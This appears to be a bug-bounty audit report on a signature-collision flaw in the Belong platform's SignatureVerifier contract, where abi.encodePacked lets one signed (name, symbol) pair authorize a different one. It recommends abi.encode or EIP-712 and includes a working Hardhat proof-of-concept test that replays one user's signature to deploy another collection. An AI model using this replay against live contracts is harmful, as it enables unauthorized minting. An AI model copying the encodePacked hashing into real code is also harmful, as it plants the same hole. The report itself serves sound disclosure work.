57314 sc medium signature replay and hash collision via abi encodepacked in signatureverifier sol
- Submitted on: Oct 25th 2025 at 07:13:23 UTC by @iehnnkta for Audit Comp | Belong
- Report ID: #57314
- Report Type: Smart Contract
- Severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/platform/Factory.sol
- Impact: Unauthorized minting of NFTs
Description / Intro
- The factory creates Access Tokens using an off-chain signature which is verified in
SignatureVerifier::checkAccessTokenInfo. - The signed message is constructed with
abi.encodePackedover multiple dynamic fields (name,symbol,contractURI,feeNumerator,chainId). - This concatenation is ambiguous because
abi.encodePackedconcatenates raw bytes of dynamic strings without length delimiters. Distinct inputs can collide (for example, "USDC" + "USDC" == "USD" + "CUSDC" when concatenated), enabling signature collisions across different (name, symbol) pairs.
Vulnerability Details
SignatureVerifier::checkAccessTokenInfohashes:keccak256(abi.encodePacked(name, symbol, contractURI, feeNumerator, block.chainid))
- Because
abi.encodePackeddoes not include length separators for dynamic types, different combinations of inputs can produce the same byte sequence and thus the same hash and signature. - Example collision: a signature issued for (name = "USDC", symbol = "USDC") can be reused to create a different collection with (name = "USD", symbol = "CUSDC").
Impact
- Authorization bypass for collection creation: an attacker can deploy unauthorized collections using a signature intended for a different collection.
- Collection spoofing and loss of control over what the platform signs; potential reputational damage and misdirected user funds.
- The same issue appears across the
SignatureVerifiercontract whereverabi.encodePackedis used for hashing signed data.
References
- https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L53-L74
- https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L81-L99
Mitigation
- Replace
abi.encodePackedwithabi.encodewhen building the message to hash.abi.encodeincludes type and length information, preventing ambiguous concatenation. - Alternatively, use EIP-712 typed structured data signing to robustly encode signed fields.
Proof of Concept
Use the following test inside factory.test.ts under the Deployment describe block.
Setup & context
- The test demonstrates a signature collision where a signature for (name = "USDC", symbol = "USDC") is reused to create a different collection (name = "USD", symbol = "CUSDC").
- Fixture provides:
factory,alice,bob,signer, andchainId.
1) Alice obtains a valid signature and creates (name = "USDC", symbol = "USDC")
Code:
it('PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC)', async () => {
const { factory, alice, bob, signer } = await loadFixture(fixture);
const feeNumerator = 600;
const contractURI = 'contractURI/USDC';
const price = ethers.utils.parseEther('0.01');
// 1) Alice creates (name=USDC, symbol=USDC)
const name1 = 'USDC';
const symbol1 = 'USDC';
const sig1 = EthCrypto.sign(
signer.privateKey,
hashAccessTokenInfo(name1, symbol1, contractURI, feeNumerator, chainId),
);
const info1: AccessTokenInfoStruct = {
metadata: { name: name1, symbol: symbol1 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1,
} as unknown as AccessTokenInfoStruct; // satisfy type
const tx1 = await factory.connect(alice).produce(info1, ethers.constants.HashZero);
await expect(tx1).to.emit(factory, 'AccessTokenCreated');
const infoAlice = await factory.nftInstanceInfo(name1, symbol1);
expect(infoAlice.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoAlice.creator).to.equal(alice.address);
2) Bob reuses the same signature to create (name = "USD", symbol = "CUSDC")
Code (continuation):
// 2) Bob reuses the same signature to create (name=USD, symbol=CUSDC)
const name2 = 'USD';
const symbol2 = 'CUSDC'; // Note: encodePacked collision => 'USD' + 'CUSDC' == 'USDCUSDC'
const info2: AccessTokenInfoStruct = {
metadata: { name: name2, symbol: symbol2 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1, // reuse Alice's signature
} as unknown as AccessTokenInfoStruct;
const tx2 = await factory.connect(bob).produce(info2, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const infoBob = await factory.nftInstanceInfo(name2, symbol2);
expect(infoBob.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoBob.creator).to.equal(bob.address);
// Ensure both collections exist and are different
expect(infoBob.nftAddress).to.not.equal(infoAlice.nftAddress);
});
Test output after running:
✔ PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC) (695ms)
1 passing (697ms)
This confirms a successful reuse of the same signature to create two distinct collections due to encoding ambiguity.